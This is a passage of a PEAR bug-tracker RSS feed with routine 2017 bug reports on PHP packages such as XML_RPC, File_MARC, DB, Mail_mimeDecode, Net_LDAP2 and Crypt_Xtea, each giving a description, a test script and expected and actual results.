      <title>XML_RPC: Bug 21225 [Open] Package &quot;XML_RPC&quot; Version &quot;1.5.5&quot; does not have REST xml available</title>
      <link>http://pear.php.net/bugs/21225</link>
      <content:encoded><![CDATA[<pre>XML_RPC Bug
Reported by cdodd
2017-06-30T15:05:07+00:00
PHP: 5.6.30 OS: Centos 7 Package Version: 1.5.5

Description:
------------
When trying to install via pear (&quot;pear install XML_RPC-1.5.5&quot;) I get the error 
&quot;Package &quot;XML_RPC&quot; Version &quot;1.5.5&quot; does not have REST xml available&quot;

&quot;pear install XML_RPC-1.5.4&quot; works ok, but 1.5.5 fails.

Test script:
---------------
Please see commands in description.

Expected result:
----------------
XML_RPC 1.5.5 should install correctly

Actual result:
--------------
Cannot install due to error &quot;XML_RPC&quot; Version &quot;1.5.5&quot; does not have REST 
xml available&quot;</pre>]]></content:encoded>
      <description><![CDATA[<pre>XML_RPC Bug
Reported by cdodd
2017-06-30T15:05:07+00:00
PHP: 5.6.30 OS: Centos 7 Package Version: 1.5.5

Description:
------------
When trying to install via pear (&quot;pear install XML_RPC-1.5.5&quot;) I get the error 
&quot;Package &quot;XML_RPC&quot; Version &quot;1.5.5&quot; does not have REST xml available&quot;

&quot;pear install XML_RPC-1.5.4&quot; works ok, but 1.5.5 fails.

Test script:
---------------
Please see commands in description.

Expected result:
----------------
XML_RPC 1.5.5 should install correctly

Actual result:
--------------
Cannot install due to error &quot;XML_RPC&quot; Version &quot;1.5.5&quot; does not have REST 
xml available&quot;</pre>]]></description>
      <dc:date>2017-06-30T15:05:07+00:00</dc:date>
      <dc:creator>pear &amp;#x61;&amp;#116; dodd &amp;#x64;&amp;#111;&amp;#x74; io</dc:creator>
      <dc:subject>XML_RPC Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21219">
      <title>File_MARC: Bug 21219 [Open] toXML method modifies the MARC leader</title>
      <link>http://pear.php.net/bugs/21219</link>
      <content:encoded><![CDATA[<pre>File_MARC Bug
Reported by aroussos
2017-06-15T19:01:37+00:00
PHP: 5.6.30 OS: Debian (jessie) Package Version: 1.1.5

Description:
------------
We recently discovered that a number of authority records in our Koha ILS installation have the following glitch: an extra space character (&quot; &quot;) appears at the end of the MARC leader. I wrote a simple script that uses PHP's rtrim() to remove the trailing whitespace, however the toXML() call at the end of my script appears to modify the leader by inserting the string &quot;na&quot; at positions 05 and 06. Is this intentional?

Test script:
---------------
As per the bug submission guidelines, my test script is longer than 20 lines of code, so here's a link to it:
https://pastebin.com/GbqVWdcb

Expected result:
----------------
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;collection xmlns=&quot;http://www.loc.gov/MARC21/slim&quot;&gt;
 &lt;record&gt;
  &lt;leader&gt;00143     2200073   4500&lt;/leader&gt;
  &lt;controlfield tag=&quot;001&quot;&gt;260&lt;/controlfield&gt;
  &lt;datafield tag=&quot;100&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;a&quot;&gt;20120402afrey50      ba0&lt;/subfield&gt;
  &lt;/datafield&gt;
  &lt;datafield tag=&quot;152&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;b&quot;&gt;PERSO_NAME&lt;/subfield&gt;
  &lt;/datafield&gt;
  &lt;datafield tag=&quot;200&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;a&quot;&gt;Severin&lt;/subfield&gt;
   &lt;subfield code=&quot;b&quot;&gt;Georgii&lt;/subfield&gt;
  &lt;/datafield&gt;
 &lt;/record&gt;
&lt;/collection&gt;

Actual result:
--------------
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;collection xmlns=&quot;http://www.loc.gov/MARC21/slim&quot;&gt;
 &lt;record&gt;
  &lt;leader&gt;00143na   2200073   4500&lt;/leader&gt;
  &lt;controlfield tag=&quot;001&quot;&gt;260&lt;/controlfield&gt;
  &lt;datafield tag=&quot;100&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;a&quot;&gt;20120402afrey50      ba0&lt;/subfield&gt;
  &lt;/datafield&gt;
  &lt;datafield tag=&quot;152&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;b&quot;&gt;PERSO_NAME&lt;/subfield&gt;
  &lt;/datafield&gt;
  &lt;datafield tag=&quot;200&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;a&quot;&gt;Severin&lt;/subfield&gt;
   &lt;subfield code=&quot;b&quot;&gt;Georgii&lt;/subfield&gt;
  &lt;/datafield&gt;
 &lt;/record&gt;
&lt;/collection&gt;</pre>]]></content:encoded>
      <description><![CDATA[<pre>File_MARC Bug
Reported by aroussos
2017-06-15T19:01:37+00:00
PHP: 5.6.30 OS: Debian (jessie) Package Version: 1.1.5

Description:
------------
We recently discovered that a number of authority records in our Koha ILS installation have the following glitch: an extra space character (&quot; &quot;) appears at the end of the MARC leader. I wrote a simple script that uses PHP's rtrim() to remove the trailing whitespace, however the toXML() call at the end of my script appears to modify the leader by inserting the string &quot;na&quot; at positions 05 and 06. Is this intentional?

Test script:
---------------
As per the bug submission guidelines, my test script is longer than 20 lines of code, so here's a link to it:
https://pastebin.com/GbqVWdcb

Expected result:
----------------
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;collection xmlns=&quot;http://www.loc.gov/MARC21/slim&quot;&gt;
 &lt;record&gt;
  &lt;leader&gt;00143     2200073   4500&lt;/leader&gt;
  &lt;controlfield tag=&quot;001&quot;&gt;260&lt;/controlfield&gt;
  &lt;datafield tag=&quot;100&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;a&quot;&gt;20120402afrey50      ba0&lt;/subfield&gt;
  &lt;/datafield&gt;
  &lt;datafield tag=&quot;152&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;b&quot;&gt;PERSO_NAME&lt;/subfield&gt;
  &lt;/datafield&gt;
  &lt;datafield tag=&quot;200&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;a&quot;&gt;Severin&lt;/subfield&gt;
   &lt;subfield code=&quot;b&quot;&gt;Georgii&lt;/subfield&gt;
  &lt;/datafield&gt;
 &lt;/record&gt;
&lt;/collection&gt;

Actual result:
--------------
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;collection xmlns=&quot;http://www.loc.gov/MARC21/slim&quot;&gt;
 &lt;record&gt;
  &lt;leader&gt;00143na   2200073   4500&lt;/leader&gt;
  &lt;controlfield tag=&quot;001&quot;&gt;260&lt;/controlfield&gt;
  &lt;datafield tag=&quot;100&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;a&quot;&gt;20120402afrey50      ba0&lt;/subfield&gt;
  &lt;/datafield&gt;
  &lt;datafield tag=&quot;152&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;b&quot;&gt;PERSO_NAME&lt;/subfield&gt;
  &lt;/datafield&gt;
  &lt;datafield tag=&quot;200&quot; ind1=&quot; &quot; ind2=&quot; &quot;&gt;
   &lt;subfield code=&quot;a&quot;&gt;Severin&lt;/subfield&gt;
   &lt;subfield code=&quot;b&quot;&gt;Georgii&lt;/subfield&gt;
  &lt;/datafield&gt;
 &lt;/record&gt;
&lt;/collection&gt;</pre>]]></description>
      <dc:date>2017-06-16T13:45:50+00:00</dc:date>
      <dc:creator>arouss1980 &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>File_MARC Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21217">
      <title>DB: Bug 21217 [Assigned] autoExecute failed UPDATE if placeholders presents in WHERE</title>
      <link>http://pear.php.net/bugs/21217</link>
      <content:encoded><![CDATA[<pre>DB Bug
Reported by enyby
2017-06-02T12:13:26+00:00
PHP: 5.6.29 OS: ANY Package Version: 1.9.2

Description:
------------
If you call autoExecute() and in WHERE present any of '!?&amp;' query simple fails. Does not matter where these symbols appear - inside string literal or in query (for example  'a != b').
This happens because inside autoExecute() where used for catch placeholders. For example you send to autoExecute() array with $data of 3 items and $where with 'a != b'. On autoPrepare() inside autoExecute() will be collected FOUR placeholders. 3 from $data and '!' inside $where as 4 placeholder.
After that will be called execute() with $data array. But it have only 3 values. It cause error because parsed statement required 4 values for 4 placeholders.

Solution: make replace in $where before send it to autoPrepare() inside autoExecute():

if ($where) {
    $where = strtr($where, array('?' =&gt; '\?', '!' =&gt; '\!', '&amp;' =&gt; '\&amp;',));
}

Test script:
---------------
$data = array('a' =&gt; 'a', 'b' =&gt; 'b', 'c' =&gt; 'c');
$ret = $db-&gt;autoExecute('table', $data, DB_AUTOQUERY_UPDATE, 'a != b');
var_dump($ret);

Expected result:
----------------
DB_OK

Actual result:
--------------
DB_ERROR: DB_ERROR_MISMATCH raised from executeEmulateQuery()</pre>]]></content:encoded>
      <description><![CDATA[<pre>DB Bug
Reported by enyby
2017-06-02T12:13:26+00:00
PHP: 5.6.29 OS: ANY Package Version: 1.9.2

Description:
------------
If you call autoExecute() and in WHERE present any of '!?&amp;' query simple fails. Does not matter where these symbols appear - inside string literal or in query (for example  'a != b').
This happens because inside autoExecute() where used for catch placeholders. For example you send to autoExecute() array with $data of 3 items and $where with 'a != b'. On autoPrepare() inside autoExecute() will be collected FOUR placeholders. 3 from $data and '!' inside $where as 4 placeholder.
After that will be called execute() with $data array. But it have only 3 values. It cause error because parsed statement required 4 values for 4 placeholders.

Solution: make replace in $where before send it to autoPrepare() inside autoExecute():

if ($where) {
    $where = strtr($where, array('?' =&gt; '\?', '!' =&gt; '\!', '&amp;' =&gt; '\&amp;',));
}

Test script:
---------------
$data = array('a' =&gt; 'a', 'b' =&gt; 'b', 'c' =&gt; 'c');
$ret = $db-&gt;autoExecute('table', $data, DB_AUTOQUERY_UPDATE, 'a != b');
var_dump($ret);

Expected result:
----------------
DB_OK

Actual result:
--------------
DB_ERROR: DB_ERROR_MISMATCH raised from executeEmulateQuery()</pre>]]></description>
      <dc:date>2018-07-20T18:30:32+00:00</dc:date>
      <dc:creator>enyby &amp;#x61;&amp;#116; ya &amp;#x64;&amp;#111;&amp;#x74; ru</dc:creator>
      <dc:subject>DB Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21215">
      <title>Mail_mimeDecode: Bug 21215 [Open] &quot;multipart/signed&quot; messages decoding issue</title>
      <link>http://pear.php.net/bugs/21215</link>
      <content:encoded><![CDATA[<pre>Mail_mimeDecode Bug
Reported by sgironella
2017-05-31T13:11:31+00:00
PHP: 5.6.30 OS: FreeBSD 11 Package Version: 1.5.6

Description:
------------
On &quot;multipart/signed&quot; messages, &quot;_decode()&quot; method  doesn't return a parts list but an associative array (&quot;msg_body&quot;, &quot;sig_hdr&quot;, &quot;sig_body&quot;); this lead &quot;getMimeNumbers()&quot; method to an infinite loop as it expects to iterate over a parts list and it doesn't manage those keys.

See the case &quot;case 'multipart/signed': // PGP&quot; at line 324

Actual result:
--------------
[31-May-2017 12:41:33 Europe/Rome] PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 72 bytes) in /webroot/vendor/pear-pear.php.net/Mail_mimeDecode/Mail/mimeDecode.php on line 425
[31-May-2017 12:41:33 Europe/Rome] PHP Stack trace:
[31-May-2017 12:41:33 Europe/Rome] PHP   1. {main}() /webroot/index.php:0
[31-May-2017 12:41:33 Europe/Rome] PHP   2. include_once() /webroot/index.php:291
[31-May-2017 12:41:33 Europe/Rome] PHP   3. rcube_message-&gt;__construct() /webroot/program/steps/mail/show.inc:49
[31-May-2017 12:41:33 Europe/Rome] PHP   4. rcube_dbmail-&gt;get_message() /webroot/program/lib/Roundcube/rcube_message.php:94
[31-May-2017 12:41:33 Europe/Rome] PHP   5. rcube_dbmail-&gt;retrieve_message() /webroot/program/lib/Roundcube/rcube_dbmail.php:1100
[31-May-2017 12:41:33 Europe/Rome] PHP   6. rcube_dbmail-&gt;decode_raw_message() /webroot/program/lib/Roundcube/rcube_dbmail.php:4316
[31-May-2017 12:41:33 Europe/Rome] PHP   7. Mail_mimeDecode-&gt;getMimeNumbers() /webroot/program/lib/Roundcube/rcube_dbmail.php:5425
[31-May-2017 12:41:33 Europe/Rome] PHP   8. Mail_mimeDecode-&gt;getMimeNumbers() /webroot/vendor/pear-pear.php.net/Mail_mimeDecode/Mail/mimeDecode.php:415</pre>]]></content:encoded>
      <description><![CDATA[<pre>Mail_mimeDecode Bug
Reported by sgironella
2017-05-31T13:11:31+00:00
PHP: 5.6.30 OS: FreeBSD 11 Package Version: 1.5.6

Description:
------------
On &quot;multipart/signed&quot; messages, &quot;_decode()&quot; method  doesn't return a parts list but an associative array (&quot;msg_body&quot;, &quot;sig_hdr&quot;, &quot;sig_body&quot;); this lead &quot;getMimeNumbers()&quot; method to an infinite loop as it expects to iterate over a parts list and it doesn't manage those keys.

See the case &quot;case 'multipart/signed': // PGP&quot; at line 324

Actual result:
--------------
[31-May-2017 12:41:33 Europe/Rome] PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 72 bytes) in /webroot/vendor/pear-pear.php.net/Mail_mimeDecode/Mail/mimeDecode.php on line 425
[31-May-2017 12:41:33 Europe/Rome] PHP Stack trace:
[31-May-2017 12:41:33 Europe/Rome] PHP   1. {main}() /webroot/index.php:0
[31-May-2017 12:41:33 Europe/Rome] PHP   2. include_once() /webroot/index.php:291
[31-May-2017 12:41:33 Europe/Rome] PHP   3. rcube_message-&gt;__construct() /webroot/program/steps/mail/show.inc:49
[31-May-2017 12:41:33 Europe/Rome] PHP   4. rcube_dbmail-&gt;get_message() /webroot/program/lib/Roundcube/rcube_message.php:94
[31-May-2017 12:41:33 Europe/Rome] PHP   5. rcube_dbmail-&gt;retrieve_message() /webroot/program/lib/Roundcube/rcube_dbmail.php:1100
[31-May-2017 12:41:33 Europe/Rome] PHP   6. rcube_dbmail-&gt;decode_raw_message() /webroot/program/lib/Roundcube/rcube_dbmail.php:4316
[31-May-2017 12:41:33 Europe/Rome] PHP   7. Mail_mimeDecode-&gt;getMimeNumbers() /webroot/program/lib/Roundcube/rcube_dbmail.php:5425
[31-May-2017 12:41:33 Europe/Rome] PHP   8. Mail_mimeDecode-&gt;getMimeNumbers() /webroot/vendor/pear-pear.php.net/Mail_mimeDecode/Mail/mimeDecode.php:415</pre>]]></description>
      <dc:date>2017-06-01T07:06:48+00:00</dc:date>
      <dc:creator>sgironella &amp;#x61;&amp;#116; schema31 &amp;#x64;&amp;#111;&amp;#x74; it</dc:creator>
      <dc:subject>Mail_mimeDecode Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21212">
      <title>Net_LDAP2: Bug 21212 [Open] Quiet &quot;Call to undefined function dl()&quot; fatal error when ldap extension missing</title>
      <link>http://pear.php.net/bugs/21212</link>
      <content:encoded><![CDATA[<pre>Net_LDAP2 Bug
Reported by chealer
2017-05-17T18:42:51+00:00
PHP: 5.6.30 OS:  Package Version: 2.2.0

Description:
------------
Trying to connect calls checkLDAPExtension(). When the ldap PHP module is not present, a fatal error will occur unless the dl() function is available, due to a call to that function without checking its existence:
        if (!extension_loaded('ldap') &amp;&amp; !dl('ldap.' . PHP_SHLIB_SUFFIX)) {
            return new Net_LDAP2_Error(&quot;It seems that you do not have the ldap-extension installed. Please install it before using the Net_LDAP2 package.&quot;);
        } else {
            return true;
        }

Moreover, due to the use of the @ operator, that fatal error is suppressed, which typically means the requests yields a blank page.

This bug is already present in 2.0.10. The dl function is missing when using XAMPP 5.6.30 on Windows, but is still present in some SAPI-s. This can be solved with:
if (!extension_loaded('ldap') &amp;&amp; (! function_exists('dl') || !@dl('ldap.' . PHP_SHLIB_SUFFIX))) {
Or perhaps using PEAR::loadExtension().</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_LDAP2 Bug
Reported by chealer
2017-05-17T18:42:51+00:00
PHP: 5.6.30 OS:  Package Version: 2.2.0

Description:
------------
Trying to connect calls checkLDAPExtension(). When the ldap PHP module is not present, a fatal error will occur unless the dl() function is available, due to a call to that function without checking its existence:
        if (!extension_loaded('ldap') &amp;&amp; !dl('ldap.' . PHP_SHLIB_SUFFIX)) {
            return new Net_LDAP2_Error(&quot;It seems that you do not have the ldap-extension installed. Please install it before using the Net_LDAP2 package.&quot;);
        } else {
            return true;
        }

Moreover, due to the use of the @ operator, that fatal error is suppressed, which typically means the requests yields a blank page.

This bug is already present in 2.0.10. The dl function is missing when using XAMPP 5.6.30 on Windows, but is still present in some SAPI-s. This can be solved with:
if (!extension_loaded('ldap') &amp;&amp; (! function_exists('dl') || !@dl('ldap.' . PHP_SHLIB_SUFFIX))) {
Or perhaps using PEAR::loadExtension().</pre>]]></description>
      <dc:date>2017-05-17T18:42:51+00:00</dc:date>
      <dc:creator>chealer &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Net_LDAP2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21211">
      <title>Net_LDAP2: Bug 21211 [Open] Version reported as 2.1.0</title>
      <link>http://pear.php.net/bugs/21211</link>
      <content:encoded><![CDATA[<pre>Net_LDAP2 Bug
Reported by chealer
2017-05-17T16:56:35+00:00
PHP: 5.6.30 OS:  Package Version: 2.2.0

Description:
------------
The version (indicated in LDAP2.php line 42) is 2.1.0, even if the package is 2.2.0's.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_LDAP2 Bug
Reported by chealer
2017-05-17T16:56:35+00:00
PHP: 5.6.30 OS:  Package Version: 2.2.0

Description:
------------
The version (indicated in LDAP2.php line 42) is 2.1.0, even if the package is 2.2.0's.</pre>]]></description>
      <dc:date>2017-05-17T16:56:35+00:00</dc:date>
      <dc:creator>chealer &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Net_LDAP2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21210">
      <title>Mail_mimeDecode: Feature/Change Request 21210 [Assigned] please setup packagist for this repo</title>
      <link>http://pear.php.net/bugs/21210</link>
      <content:encoded><![CDATA[<pre>Mail_mimeDecode Feature/Change Request
Reported by glen
2017-05-11T18:55:33+00:00
PHP: Irrelevant OS:  Package Version: 1.5.6

Description:
------------
please convert this repo to git (github)
and setup packagist integration

here's problem i'm suffering:
https://github.com/eventum/eventum/pull/256#issuecomment-
300879398

and i think it's just easier to fix if the package is available in 
packagist</pre>]]></content:encoded>
      <description><![CDATA[<pre>Mail_mimeDecode Feature/Change Request
Reported by glen
2017-05-11T18:55:33+00:00
PHP: Irrelevant OS:  Package Version: 1.5.6

Description:
------------
please convert this repo to git (github)
and setup packagist integration

here's problem i'm suffering:
https://github.com/eventum/eventum/pull/256#issuecomment-
300879398

and i think it's just easier to fix if the package is available in 
packagist</pre>]]></description>
      <dc:date>2017-05-12T03:25:26+00:00</dc:date>
      <dc:creator>glen &amp;#x61;&amp;#116; pld-linux &amp;#x64;&amp;#111;&amp;#x74; org</dc:creator>
      <dc:subject>Mail_mimeDecode Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21209">
      <title>Date_Holidays_Austria: Bug 21209 [Open] Wrong calculation of mothersDay</title>
      <link>http://pear.php.net/bugs/21209</link>
      <content:encoded><![CDATA[<pre>Date_Holidays_Austria Bug
Reported by heinz_htl
2017-05-11T10:48:21+00:00
PHP: 5.6.30 OS:  Package Version: 0.1.6

Description:
------------
mothersDay is calculated like this in the current version:
$mothersDay = $this-&gt;_calcFirstMonday(&quot;05&quot;);
$mothersDay = $mothersDay-&gt;getPrevDay();
$mothersDay = $this-&gt;_addDays($mothersDay, 7);

mothersDay should be the second sunday in May.

If (like this year) the first of May is a monday mothers day is calculated
wrong (8th of May)

If the date returned by getPrevDay() is not in May then 7 days should be added.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Date_Holidays_Austria Bug
Reported by heinz_htl
2017-05-11T10:48:21+00:00
PHP: 5.6.30 OS:  Package Version: 0.1.6

Description:
------------
mothersDay is calculated like this in the current version:
$mothersDay = $this-&gt;_calcFirstMonday(&quot;05&quot;);
$mothersDay = $mothersDay-&gt;getPrevDay();
$mothersDay = $this-&gt;_addDays($mothersDay, 7);

mothersDay should be the second sunday in May.

If (like this year) the first of May is a monday mothers day is calculated
wrong (8th of May)

If the date returned by getPrevDay() is not in May then 7 days should be added.</pre>]]></description>
      <dc:date>2017-05-11T10:48:21+00:00</dc:date>
      <dc:creator>heinz &amp;#x61;&amp;#116; htl-steyr &amp;#x64;&amp;#111;&amp;#x74; ac &amp;#x64;&amp;#111;&amp;#x74; at</dc:creator>
      <dc:subject>Date_Holidays_Austria Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21208">
      <title>Crypt_Xtea: Bug 21208 [Assigned] use a proper __construct</title>
      <link>http://pear.php.net/bugs/21208</link>
      <content:encoded><![CDATA[<pre>Crypt_Xtea Bug
Reported by jefkin
2017-05-05T17:36:00+00:00
PHP: HEAD SVN-2017-05-05 OS: CentOS Package Version: 1.1.0

Description:
------------
This should be a one line change:

file: Crypt/Xtea.php

line 145;

for compatibility for php 7.0 and up, replace Crypt_Xtea() with 
__construct().

On my local side I also updated the comment on line 136 to 
read:

     // {{{ Crypt_Xtea::__construct()


I noticed that the php version you list on this form doesn't 
include php7.0 and so I understand you may reject this bug for 
that reason, but the change I'm requesting, would ensure that 
should 7.0 begin to be supported, that Crypt Xtea would work as 
expected out of the box.  If you do reject it, I'll simply hack it in 
on my local copy.

Test script:
---------------
Any require or require_once of Xtea in a php script running on php 7.0 or higher will give a very ugly hard to trap warning. E.g. the test script.


&lt;?php
	require_once 'Crypt/Xtea.php';

	$data = 'abcdefghijklmnopqrstuvwxyz';
	$key = '0123456789abcdef';

	$crypt = new Crypt_Xtea();
	$encrypted = $crypt-&gt;encrypt($data, $key);
	$decrypted = $crypt-&gt;encrypt($encrypt, $key);
?&gt;

Expected result:
----------------
Xtea to run correctly.

Actual result:
--------------
PHP Fatal error:  require(): Failed opening required 
'Crypt/Xtea.php' (include_path='/usr/share/php5/PEAR') in 
/srv/www/virthosts/publix/sites/all/libraries/Xtea/Xtea.php on line 
10</pre>]]></content:encoded>
      <description><![CDATA[<pre>Crypt_Xtea Bug
Reported by jefkin
2017-05-05T17:36:00+00:00
PHP: HEAD SVN-2017-05-05 OS: CentOS Package Version: 1.1.0

Description:
------------
This should be a one line change:

file: Crypt/Xtea.php

line 145;

for compatibility for php 7.0 and up, replace Crypt_Xtea() with 
__construct().

On my local side I also updated the comment on line 136 to 
read:

     // {{{ Crypt_Xtea::__construct()


I noticed that the php version you list on this form doesn't 
include php7.0 and so I understand you may reject this bug for 
that reason, but the change I'm requesting, would ensure that 
should 7.0 begin to be supported, that Crypt Xtea would work as 
expected out of the box.  If you do reject it, I'll simply hack it in 
on my local copy.

Test script:
---------------
Any require or require_once of Xtea in a php script running on php 7.0 or higher will give a very ugly hard to trap warning. E.g. the test script.


&lt;?php
	require_once 'Crypt/Xtea.php';

	$data = 'abcdefghijklmnopqrstuvwxyz';
	$key = '0123456789abcdef';

	$crypt = new Crypt_Xtea();
	$encrypted = $crypt-&gt;encrypt($data, $key);
	$decrypted = $crypt-&gt;encrypt($encrypt, $key);
?&gt;

Expected result:
----------------
Xtea to run correctly.

Actual result:
--------------
PHP Fatal error:  require(): Failed opening required 
'Crypt/Xtea.php' (include_path='/usr/share/php5/PEAR') in 
/srv/www/virthosts/publix/sites/all/libraries/Xtea/Xtea.php on line 
10</pre>]]></description>
      <dc:date>2017-05-09T09:07:25+00:00</dc:date>
      <dc:creator>jefkin &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Crypt_Xtea Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21202">
      <title>Crypt_GPG: Bug 21202 [Open] is_executable doesn't work on Windows</title>
      <link>http://pear.php.net/bugs/21202</link>
      <content:encoded><![CDATA[<pre>Crypt_GPG Bug
Reported by mattzuba
2017-04-26T22:05:54+00:00
PHP: Irrelevant OS: Windows Package Version: 1.6.0

Description:
------------
The fix for bug #19833 causes this library to completely break on 
Windows.  is_executable does not work on directories in Windows and 
always returns false.

Test script:
---------------
&lt;?php

$gpg = new Crypt_GPG();

Expected result:
----------------
No errors or exceptions

Actual result:
--------------
[Crypt_GPG_FileException]
  The 'homedir' &quot;C:\Users\mzuba\.gnupg&quot; is not enterable by the current 
user. Please check the permissions on your homedir and make sure the 
current user can both enter and write to the directory.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Crypt_GPG Bug
Reported by mattzuba
2017-04-26T22:05:54+00:00
PHP: Irrelevant OS: Windows Package Version: 1.6.0

Description:
------------
The fix for bug #19833 causes this library to completely break on 
Windows.  is_executable does not work on directories in Windows and 
always returns false.

Test script:
---------------
&lt;?php

$gpg = new Crypt_GPG();

Expected result:
----------------
No errors or exceptions

Actual result:
--------------
[Crypt_GPG_FileException]
  The 'homedir' &quot;C:\Users\mzuba\.gnupg&quot; is not enterable by the current 
user. Please check the permissions on your homedir and make sure the 
current user can both enter and write to the directory.</pre>]]></description>
      <dc:date>2017-04-27T06:12:16+00:00</dc:date>
      <dc:creator>Matt &amp;#x64;&amp;#111;&amp;#x74; Zuba &amp;#x61;&amp;#116; goodwillaz &amp;#x64;&amp;#111;&amp;#x74; org</dc:creator>
      <dc:subject>Crypt_GPG Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21198">
      <title>PEAR: Bug 21198 [Open] PackageFileManager2 on PHP7: syntax error</title>
      <link>http://pear.php.net/bugs/21198</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by cweiske
2017-03-30T19:44:52+00:00
PHP: Irrelevant OS:  Package Version: 1.10.3

Description:
------------
PHP Parse error:  syntax error, unexpected 'new' (T_NEW) in /usr/share/php/PEAR/PackageFileManager2.php on line 1740</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by cweiske
2017-03-30T19:44:52+00:00
PHP: Irrelevant OS:  Package Version: 1.10.3

Description:
------------
PHP Parse error:  syntax error, unexpected 'new' (T_NEW) in /usr/share/php/PEAR/PackageFileManager2.php on line 1740</pre>]]></description>
      <dc:date>2017-03-30T19:44:52+00:00</dc:date>
      <dc:creator>cweiske &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21196">
      <title>Text_LanguageDetect: Bug 21196 [Open] Wrong dectecting of Russian text on languagedetect.org.</title>
      <link>http://pear.php.net/bugs/21196</link>
      <content:encoded><![CDATA[<pre>Text_LanguageDetect Bug
Reported by demjanich
2017-03-18T19:28:39+00:00
PHP: 5.6.30 OS:  Package Version: Unknown

Description:
------------
Wrong dectecting of Russian text on languagedetect.org.




Test script:
---------------
Russian text:

&quot;
? ???? ??????? ?? ???????????.
???????, ???? ????? ??????? ????? ???????? ?? ?????? ??? ????? 
??? ???????.
?????? ????.
?? ?????, ??? ???? ?????? ??????? ??????
???? ???????
??????? ? ?????, ???????? ?? ??? ????????, ??? ? ??????.
? ????????? ? ???????.
&quot;

But program wrote:

Text_LanguageDetect thinks this text is written in Croatian 
(0.219230769231, 
0.0284615384615)


Expected result:
----------------
The text is in Russian, not Croatian

Actual result:
--------------
--</pre>]]></content:encoded>
      <description><![CDATA[<pre>Text_LanguageDetect Bug
Reported by demjanich
2017-03-18T19:28:39+00:00
PHP: 5.6.30 OS:  Package Version: Unknown

Description:
------------
Wrong dectecting of Russian text on languagedetect.org.




Test script:
---------------
Russian text:

&quot;
? ???? ??????? ?? ???????????.
???????, ???? ????? ??????? ????? ???????? ?? ?????? ??? ????? 
??? ???????.
?????? ????.
?? ?????, ??? ???? ?????? ??????? ??????
???? ???????
??????? ? ?????, ???????? ?? ??? ????????, ??? ? ??????.
? ????????? ? ???????.
&quot;

But program wrote:

Text_LanguageDetect thinks this text is written in Croatian 
(0.219230769231, 
0.0284615384615)


Expected result:
----------------
The text is in Russian, not Croatian

Actual result:
--------------
--</pre>]]></description>
      <dc:date>2017-03-18T19:39:41+00:00</dc:date>
      <dc:creator>demjanich &amp;#x61;&amp;#116; ya &amp;#x64;&amp;#111;&amp;#x74; ru</dc:creator>
      <dc:subject>Text_LanguageDetect Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21194">
      <title>HTML_AJAX: Bug 21194 [Open] package.xml of 0.5.8 does not replace @data-dir@ in Server.php</title>
      <link>http://pear.php.net/bugs/21194</link>
      <content:encoded><![CDATA[<pre>HTML_AJAX Bug
Reported by avb
2017-03-10T09:55:47+00:00
PHP: Irrelevant OS: Irrelevant Package Version: 0.5.8

Description:
------------
package.xml for 0.5.7:

   &lt;file baseinstalldir=&quot;HTML&quot; md5sum=&quot;93c59d4681e6b8218c93d48da0f1a134&quot; name=&quot;AJAX/Server.php&quot; role=&quot;php&quot;&gt;
    &lt;tasks:replace from=&quot;@package_version@&quot; to=&quot;version&quot; type=&quot;package-info&quot; /&gt;
    &lt;tasks:replace from=&quot;@data-dir@&quot; to=&quot;data_dir&quot; type=&quot;pear-config&quot; /&gt;
   &lt;/file&gt;

package.xml for 0.5.8:


